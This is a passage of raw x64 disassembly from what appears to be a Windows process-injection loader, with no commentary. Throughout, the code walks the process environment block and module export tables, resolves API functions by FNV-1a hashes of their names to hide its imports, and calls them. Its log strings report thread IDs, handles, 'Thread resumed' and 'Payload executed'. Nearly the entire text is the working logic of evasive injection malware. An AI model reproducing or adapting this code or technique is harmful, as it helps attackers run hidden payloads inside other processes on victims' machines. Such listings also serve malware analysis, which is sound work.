mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0xb3c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0xb24], ecx
mov qword [rsp + 0xb18], rax
mov eax, dword [rsp + 0xb24]
mov dword [rsp + 0xb14], eax
mov rax, qword [rsp + 0xb18]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0xb18], rcx
mov al, byte [rax]
mov byte [rsp + 0xb13], al
cmp byte [rsp + 0xb13], 0
je 0x140018f25
mov cl, byte [rsp + 0xb13]
mov eax, dword [rsp + 0xb14]
mov byte [rsp + 0xb7f], cl
mov dword [rsp + 0xb78], eax
mov eax, dword [rsp + 0xb78]
mov dword [rsp + 0xbc], eax
movsx eax, byte [rsp + 0xb7f]
cmp eax, 0x41
jl 0x140018ef1
movsx eax, byte [rsp + 0xb7f]
cmp eax, 0x5a
jg 0x140018ef1
movsx eax, byte [rsp + 0xb7f]
or eax, 0x20
mov dword [rsp + 0xb8], eax
jmp 0x140018f00
movsx eax, byte [rsp + 0xb7f]
mov dword [rsp + 0xb8], eax
mov eax, dword [rsp + 0xbc]
mov ecx, dword [rsp + 0xb8]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xb14], eax
jmp 0x140018e60
mov eax, dword [rsp + 0xb14]
movabs rcx, 0x80a65183c46b1a27
mov qword [rsp + 0xb40], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0xb40]
cmp eax, ecx
je 0x140018f98
jmp 0x140018dc1
jmp 0x140018f62
lea rax, [rsp + 0x12d8]
mov qword [rsp + 0xb68], rax
mov rax, qword [rsp + 0xb68]
mov rcx, qword [rax]
mov qword [rsp + 0xb80], rcx
mov rcx, qword [rsp + 0xb80]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140018ceb
mov eax, dword [rsp + 0xadc]
mov dword [rsp + 0xb64], eax
lea rax, [rsp + 0x12c0]
mov qword [rsp + 0xb58], rax
mov rax, qword [rsp + 0xb58]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0xb50], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0xb48], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb50]
mov rdx, qword [rsp + 0xb48]
mov r8d, dword [rsp + 0xb64]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xae0], rax
mov rax, qword [rsp + 0xae0]
mov rdx, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x278]
call rax
lea rax, [rsp + 0x1070]
mov qword [rsp + 0x2a0], rax
lea rax, [0x14002d4c0]
mov qword [rsp + 0x298], rax
lea rax, str._8s____TID:__t_t_lu_n
mov qword [rsp + 0x290], rax
lea rax, [rsp + 0x106d]
mov qword [rsp + 0x288], rax
lea rax, [rsp + 0x1300]
mov qword [rsp + 0xb98], rax
mov rax, qword [rsp + 0xb98]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1300]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xba8], rax
lea rax, [rsp + 0x12e8]
mov qword [rsp + 0xba0], rax
mov rax, qword [rsp + 0xba0]
mov rcx, qword [rsp + 0xba8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xba8]
mov qword [rsp + 0xc20], rcx
mov rcx, qword [rsp + 0xc20]
mov rdx, qword [rsp + 0xc20]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x1308], rcx
mov rcx, qword [rsp + 0xba8]
mov edx, dword [rsp + 0x1308]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x130c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x12e8]
mov qword [rsp + 0xbb0], rax
mov rcx, qword [rsp + 0xbb0]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140019311
lea rax, [rsp + 0x12e8]
mov qword [rsp + 0xbb8], rax
mov rax, qword [rsp + 0xbb8]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xb8c], eax
mov eax, dword [rsp + 0xb8c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xb8c], ecx
cmp eax, 0
je 0x14001930c
movabs rax, 0x2cc6549d4b274d5d
mov qword [rsp + 0xbd8], rax
mov rax, qword [rsp + 0xbd8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0xb8c]
mov dword [rsp + 0xbec], eax
lea rax, [rsp + 0x12e8]
mov qword [rsp + 0xbe0], rax
mov r8, qword [rsp + 0xbe0]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0xbec]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0xbd4], ecx
mov qword [rsp + 0xbc8], rax
mov eax, dword [rsp + 0xbd4]
mov dword [rsp + 0xbc4], eax
mov rax, qword [rsp + 0xbc8]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0xbc8], rcx
mov al, byte [rax]
mov byte [rsp + 0xbc3], al
cmp byte [rsp + 0xbc3], 0
je 0x1400192d4
mov cl, byte [rsp + 0xbc3]
mov eax, dword [rsp + 0xbc4]
mov byte [rsp + 0xc2f], cl
mov dword [rsp + 0xc28], eax
mov eax, dword [rsp + 0xc28]
mov dword [rsp + 0xb4], eax
movsx eax, byte [rsp + 0xc2f]
cmp eax, 0x41
jl 0x1400192a0
movsx eax, byte [rsp + 0xc2f]
cmp eax, 0x5a
jg 0x1400192a0
movsx eax, byte [rsp + 0xc2f]
or eax, 0x20
mov dword [rsp + 0xb0], eax
jmp 0x1400192af
movsx eax, byte [rsp + 0xc2f]
mov dword [rsp + 0xb0], eax
mov eax, dword [rsp + 0xb4]
mov ecx, dword [rsp + 0xb0]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xbc4], eax
jmp 0x14001920f
mov eax, dword [rsp + 0xbc4]
movabs rcx, 0x2cc6549d4b274d5d
mov qword [rsp + 0xbf0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0xbf0]
cmp eax, ecx
je 0x140019347
jmp 0x140019170
jmp 0x140019311
lea rax, [rsp + 0x1300]
mov qword [rsp + 0xc18], rax
mov rax, qword [rsp + 0xc18]
mov rcx, qword [rax]
mov qword [rsp + 0xc30], rcx
mov rcx, qword [rsp + 0xc30]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14001909a
mov eax, dword [rsp + 0xb8c]
mov dword [rsp + 0xc14], eax
lea rax, [rsp + 0x12e8]
mov qword [rsp + 0xc08], rax
mov rax, qword [rsp + 0xc08]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0xc00], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0xbf8], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc00]
mov rdx, qword [rsp + 0xbf8]
mov r8d, dword [rsp + 0xc14]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xb90], rax
mov rax, qword [rsp + 0xb90]
mov rcx, qword [rsp + 0x2a0]
mov r8d, dword [rcx]
mov rdx, qword [rsp + 0x298]
mov rcx, qword [rsp + 0x290]
call rax
lea rax, [rsp + 0x1078]
mov qword [rsp + 0x2c0], rax
lea rax, [0x14002d4c0]
mov qword [rsp + 0x2b8], rax
lea rax, str._8s____Handle:__t_t0x_p_n
mov qword [rsp + 0x2b0], rax
lea rax, [rsp + 0x106c]
mov qword [rsp + 0x2a8], rax
lea rax, [rsp + 0x1328]
mov qword [rsp + 0xc48], rax
mov rax, qword [rsp + 0xc48]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1328]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xc58], rax
lea rax, [rsp + 0x1310]
mov qword [rsp + 0xc50], rax
mov rax, qword [rsp + 0xc50]
mov rcx, qword [rsp + 0xc58]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xc58]
mov qword [rsp + 0xcd0], rcx
mov rcx, qword [rsp + 0xcd0]
mov rdx, qword [rsp + 0xcd0]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x1330], rcx
mov rcx, qword [rsp + 0xc58]
mov edx, dword [rsp + 0x1330]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x1334]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x1310]
mov qword [rsp + 0xc60], rax
mov rcx, qword [rsp + 0xc60]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x1400196cb
lea rax, [rsp + 0x1310]
mov qword [rsp + 0xc68], rax
mov rax, qword [rsp + 0xc68]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xc3c], eax
mov eax, dword [rsp + 0xc3c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xc3c], ecx
cmp eax, 0
je 0x1400196c6
movabs rax, 0x9c5b649422509cb6
mov qword [rsp + 0xc88], rax
mov rax, qword [rsp + 0xc88]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0xc3c]
mov dword [rsp + 0xc9c], eax
lea rax, [rsp + 0x1310]
mov qword [rsp + 0xc90], rax
mov r8, qword [rsp + 0xc90]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0xc9c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0xc84], ecx
mov qword [rsp + 0xc78], rax
mov eax, dword [rsp + 0xc84]
mov dword [rsp + 0xc74], eax
mov rax, qword [rsp + 0xc78]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0xc78], rcx
mov al, byte [rax]
mov byte [rsp + 0xc73], al
cmp byte [rsp + 0xc73], 0
je 0x14001968e
mov cl, byte [rsp + 0xc73]
mov eax, dword [rsp + 0xc74]
mov byte [rsp + 0xcdf], cl
mov dword [rsp + 0xcd8], eax
mov eax, dword [rsp + 0xcd8]
mov dword [rsp + 0xac], eax
movsx eax, byte [rsp + 0xcdf]
cmp eax, 0x41
jl 0x14001965a
movsx eax, byte [rsp + 0xcdf]
cmp eax, 0x5a
jg 0x14001965a
movsx eax, byte [rsp + 0xcdf]
or eax, 0x20
mov dword [rsp + 0xa8], eax
jmp 0x140019669
movsx eax, byte [rsp + 0xcdf]
mov dword [rsp + 0xa8], eax
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0xa8]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xc74], eax
jmp 0x1400195c9
mov eax, dword [rsp + 0xc74]
movabs rcx, 0x9c5b649422509cb6
mov qword [rsp + 0xca0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0xca0]
cmp eax, ecx
je 0x140019701
jmp 0x14001952a
jmp 0x1400196cb
lea rax, [rsp + 0x1328]
mov qword [rsp + 0xcc8], rax
mov rax, qword [rsp + 0xcc8]
mov rcx, qword [rax]
mov qword [rsp + 0xce0], rcx
mov rcx, qword [rsp + 0xce0]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140019454
mov eax, dword [rsp + 0xc3c]
mov dword [rsp + 0xcc4], eax
lea rax, [rsp + 0x1310]
mov qword [rsp + 0xcb8], rax
mov rax, qword [rsp + 0xcb8]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0xcb0], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0xca8], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb0]
mov rdx, qword [rsp + 0xca8]
mov r8d, dword [rsp + 0xcc4]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xc40], rax
mov rax, qword [rsp + 0xc40]
mov rcx, qword [rsp + 0x2c0]
mov r8, qword [rcx]
mov rdx, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x2b0]
call rax
mov edx, dword [0x14004c020]
lea rcx, [rsp + 0x1068]
mov qword [rsp + 0xa0], rcx
call fcn.140003320
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x1078]
xor eax, eax
mov r8d, eax
call fcn.140008580
lea rax, [0x14002d4c0]
mov qword [rsp + 0x2d8], rax
lea rax, str._4s___Thread_resumed_n
mov qword [rsp + 0x2d0], rax
lea rax, [rsp + 0x1067]
mov qword [rsp + 0x2c8], rax
lea rax, [rsp + 0x1350]
mov qword [rsp + 0xcf8], rax
mov rax, qword [rsp + 0xcf8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1350]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xd08], rax
lea rax, [rsp + 0x1338]
mov qword [rsp + 0xd00], rax
mov rax, qword [rsp + 0xd00]
mov rcx, qword [rsp + 0xd08]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xd08]
mov qword [rsp + 0xd80], rcx
mov rcx, qword [rsp + 0xd80]
mov rdx, qword [rsp + 0xd80]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x1358], rcx
mov rcx, qword [rsp + 0xd08]
mov edx, dword [rsp + 0x1358]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x135c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x1338]
mov qword [rsp + 0xd10], rax
mov rcx, qword [rsp + 0xd10]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140019aaa
lea rax, [rsp + 0x1338]
mov qword [rsp + 0xd18], rax
mov rax, qword [rsp + 0xd18]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xcec], eax
mov eax, dword [rsp + 0xcec]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xcec], ecx
cmp eax, 0
je 0x140019aa5
movabs rax, 0x9581fb349ea418d6
mov qword [rsp + 0xd38], rax
mov rax, qword [rsp + 0xd38]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0xcec]
mov dword [rsp + 0xd4c], eax
lea rax, [rsp + 0x1338]
mov qword [rsp + 0xd40], rax
mov r8, qword [rsp + 0xd40]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0xd4c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0xd34], ecx
mov qword [rsp + 0xd28], rax
mov eax, dword [rsp + 0xd34]
mov dword [rsp + 0xd24], eax
mov rax, qword [rsp + 0xd28]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0xd28], rcx
mov al, byte [rax]
mov byte [rsp + 0xd23], al
cmp byte [rsp + 0xd23], 0
je 0x140019a6d
mov cl, byte [rsp + 0xd23]
mov eax, dword [rsp + 0xd24]
mov byte [rsp + 0xd8f], cl
mov dword [rsp + 0xd88], eax
mov eax, dword [rsp + 0xd88]
mov dword [rsp + 0x9c], eax
movsx eax, byte [rsp + 0xd8f]
cmp eax, 0x41
jl 0x140019a39
movsx eax, byte [rsp + 0xd8f]
cmp eax, 0x5a
jg 0x140019a39
movsx eax, byte [rsp + 0xd8f]
or eax, 0x20
mov dword [rsp + 0x98], eax
jmp 0x140019a48
movsx eax, byte [rsp + 0xd8f]
mov dword [rsp + 0x98], eax
mov eax, dword [rsp + 0x9c]
mov ecx, dword [rsp + 0x98]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xd24], eax
jmp 0x1400199a8
mov eax, dword [rsp + 0xd24]
movabs rcx, 0x9581fb349ea418d6
mov qword [rsp + 0xd50], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0xd50]
cmp eax, ecx
je 0x140019ae0
jmp 0x140019909
jmp 0x140019aaa
lea rax, [rsp + 0x1350]
mov qword [rsp + 0xd78], rax
mov rax, qword [rsp + 0xd78]
mov rcx, qword [rax]
mov qword [rsp + 0xd90], rcx
mov rcx, qword [rsp + 0xd90]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140019833
mov eax, dword [rsp + 0xcec]
mov dword [rsp + 0xd74], eax
lea rax, [rsp + 0x1338]
mov qword [rsp + 0xd68], rax
mov rax, qword [rsp + 0xd68]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0xd60], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0xd58], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd60]
mov rdx, qword [rsp + 0xd58]
mov r8d, dword [rsp + 0xd74]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xcf0], rax
mov rax, qword [rsp + 0xcf0]
mov rdx, qword [rsp + 0x2d8]
mov rcx, qword [rsp + 0x2d0]
call rax
lea rax, [0x14002d4c0]
mov qword [rsp + 0x2f0], rax
lea rax, str._4s___Payload_executed_n
mov qword [rsp + 0x2e8], rax
lea rax, [rsp + 0x1066]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x1378]
mov qword [rsp + 0xda8], rax
mov rax, qword [rsp + 0xda8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1378]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xdb8], rax
lea rax, [rsp + 0x1360]
mov qword [rsp + 0xdb0], rax
mov rax, qword [rsp + 0xdb0]
mov rcx, qword [rsp + 0xdb8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xdb8]
mov qword [rsp + 0xe30], rcx
mov rcx, qword [rsp + 0xe30]
mov rdx, qword [rsp + 0xe30]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x1380], rcx
mov rcx, qword [rsp + 0xdb8]
mov edx, dword [rsp + 0x1380]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x1384]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x1360]
mov qword [rsp + 0xdc0], rax
mov rcx, qword [rsp + 0xdc0]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140019e49
lea rax, [rsp + 0x1360]
mov qword [rsp + 0xdc8], rax
mov rax, qword [rsp + 0xdc8]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xd9c], eax
mov eax, dword [rsp + 0xd9c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xd9c], ecx
cmp eax, 0
je 0x140019e44
movabs rax, 0x6aeccab6e620aedc
mov qword [rsp + 0xde8], rax
mov rax, qword [rsp + 0xde8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0xd9c]
mov dword [rsp + 0xdfc], eax
lea rax, [rsp + 0x1360]
mov qword [rsp + 0xdf0], rax
mov r8, qword [rsp + 0xdf0]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0xdfc]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0xde4], ecx
mov qword [rsp + 0xdd8], rax
mov eax, dword [rsp + 0xde4]
mov dword [rsp + 0xdd4], eax
mov rax, qword [rsp + 0xdd8]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0xdd8], rcx
mov al, byte [rax]
mov byte [rsp + 0xdd3], al
cmp byte [rsp + 0xdd3], 0
je 0x140019e0c
mov cl, byte [rsp + 0xdd3]
mov eax, dword [rsp + 0xdd4]
mov byte [rsp + 0xe3f], cl
mov dword [rsp + 0xe38], eax
mov eax, dword [rsp + 0xe38]
mov dword [rsp + 0x94], eax
movsx eax, byte [rsp + 0xe3f]
cmp eax, 0x41
jl 0x140019dd8
movsx eax, byte [rsp + 0xe3f]
cmp eax, 0x5a
jg 0x140019dd8
movsx eax, byte [rsp + 0xe3f]
or eax, 0x20
mov dword [rsp + 0x90], eax
jmp 0x140019de7
movsx eax, byte [rsp + 0xe3f]
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0x90]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xdd4], eax
jmp 0x140019d47
mov eax, dword [rsp + 0xdd4]
movabs rcx, 0x6aeccab6e620aedc
mov qword [rsp + 0xe00], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0xe00]
cmp eax, ecx
je 0x140019e7f
jmp 0x140019ca8
jmp 0x140019e49
lea rax, [rsp + 0x1378]
mov qword [rsp + 0xe28], rax
mov rax, qword [rsp + 0xe28]
mov rcx, qword [rax]
mov qword [rsp + 0xe40], rcx
mov rcx, qword [rsp + 0xe40]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140019bd2
mov eax, dword [rsp + 0xd9c]
mov dword [rsp + 0xe24], eax
lea rax, [rsp + 0x1360]
mov qword [rsp + 0xe18], rax
mov rax, qword [rsp + 0xe18]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0xe10], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0xe08], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe10]
mov rdx, qword [rsp + 0xe08]
mov r8d, dword [rsp + 0xe24]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xda0], rax
mov rax, qword [rsp + 0xda0]
mov rdx, qword [rsp + 0x2f0]
mov rcx, qword [rsp + 0x2e8]
call rax
lea rax, str._n___Closing_opened_handles_n
mov qword [rsp + 0x300], rax
lea rax, [rsp + 0x1065]
mov qword [rsp + 0x2f8], rax
lea rax, [rsp + 0x13a0]
mov qword [rsp + 0xe58], rax
mov rax, qword [rsp + 0xe58]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x13a0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xe68], rax
lea rax, [rsp + 0x1388]
mov qword [rsp + 0xe60], rax
mov rax, qword [rsp + 0xe60]
mov rcx, qword [rsp + 0xe68]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xe68]
mov qword [rsp + 0xee0], rcx
mov rcx, qword [rsp + 0xee0]
mov rdx, qword [rsp + 0xee0]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x13a8], rcx
mov rcx, qword [rsp + 0xe68]
mov edx, dword [rsp + 0x13a8]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x13ac]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x1388]
mov qword [rsp + 0xe70], rax
mov rcx, qword [rsp + 0xe70]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14001a1d9
lea rax, [rsp + 0x1388]
mov qword [rsp + 0xe78], rax
mov rax, qword [rsp + 0xe78]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xe4c], eax
mov eax, dword [rsp + 0xe4c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xe4c], ecx
cmp eax, 0
je 0x14001a1d4
movabs rax, 0x98c7bea25262f4d0
mov qword [rsp + 0xe98], rax
mov rax, qword [rsp + 0xe98]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0xe4c]
mov dword [rsp + 0xeac], eax
lea rax, [rsp + 0x1388]
mov qword [rsp + 0xea0], rax
mov r8, qword [rsp + 0xea0]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0xeac]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0xe94], ecx
mov qword [rsp + 0xe88], rax
mov eax, dword [rsp + 0xe94]
mov dword [rsp + 0xe84], eax
mov rax, qword [rsp + 0xe88]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0xe88], rcx
mov al, byte [rax]
mov byte [rsp + 0xe83], al
cmp byte [rsp + 0xe83], 0
je 0x14001a19c
mov cl, byte [rsp + 0xe83]
mov eax, dword [rsp + 0xe84]
mov byte [rsp + 0xeef], cl
mov dword [rsp + 0xee8], eax
mov eax, dword [rsp + 0xee8]
mov dword [rsp + 0x8c], eax
movsx eax, byte [rsp + 0xeef]
cmp eax, 0x41
jl 0x14001a168
movsx eax, byte [rsp + 0xeef]
cmp eax, 0x5a
jg 0x14001a168
movsx eax, byte [rsp + 0xeef]
or eax, 0x20
mov dword [rsp + 0x88], eax
jmp 0x14001a177
movsx eax, byte [rsp + 0xeef]
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x8c]
mov ecx, dword [rsp + 0x88]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xe84], eax
jmp 0x14001a0d7
mov eax, dword [rsp + 0xe84]
movabs rcx, 0x98c7bea25262f4d0
mov qword [rsp + 0xeb0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0xeb0]
cmp eax, ecx
je 0x14001a20f
jmp 0x14001a038
jmp 0x14001a1d9
lea rax, [rsp + 0x13a0]
mov qword [rsp + 0xed8], rax
mov rax, qword [rsp + 0xed8]
mov rcx, qword [rax]
mov qword [rsp + 0xef0], rcx
mov rcx, qword [rsp + 0xef0]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140019f62
mov eax, dword [rsp + 0xe4c]
mov dword [rsp + 0xed4], eax
lea rax, [rsp + 0x1388]
mov qword [rsp + 0xec8], rax
mov rax, qword [rsp + 0xec8]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0xec0], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0xeb8], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0xec0]
mov rdx, qword [rsp + 0xeb8]
mov r8d, dword [rsp + 0xed4]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xe50], rax
mov rax, qword [rsp + 0xe50]
mov rcx, qword [rsp + 0x300]
call rax
mov edx, dword [0x14004c024]
lea rcx, [rsp + 0x1060]
mov qword [rsp + 0x78], rcx
call fcn.140003320
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x10f0]
call fcn.140008600
mov edx, dword [0x14004c024]
lea rcx, [rsp + 0x105c]
mov qword [rsp + 0x80], rcx
call fcn.140003320
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x1078]
call fcn.140008600
lea rax, [rsp + 0x10f0]
mov qword [rsp + 0x320], rax
lea rax, [0x14002d4c0]
mov qword [rsp + 0x318], rax
lea rax, str._4s___Process_Handle:__t0x_p_n
mov qword [rsp + 0x310], rax
lea rax, [rsp + 0x105b]
mov qword [rsp + 0x308], rax
lea rax, [rsp + 0x13c8]
mov qword [rsp + 0xf08], rax
mov rax, qword [rsp + 0xf08]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x13c8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xf18], rax
lea rax, [rsp + 0x13b0]
mov qword [rsp + 0xf10], rax
mov rax, qword [rsp + 0xf10]
mov rcx, qword [rsp + 0xf18]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xf18]
mov qword [rsp + 0xf90], rcx
mov rcx, qword [rsp + 0xf90]
mov rdx, qword [rsp + 0xf90]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x13d0], rcx
mov rcx, qword [rsp + 0xf18]
mov edx, dword [rsp + 0x13d0]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x13d4]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x13b0]
mov qword [rsp + 0xf20], rax
mov rcx, qword [rsp + 0xf20]
mov rax, qword [rcx + 8]
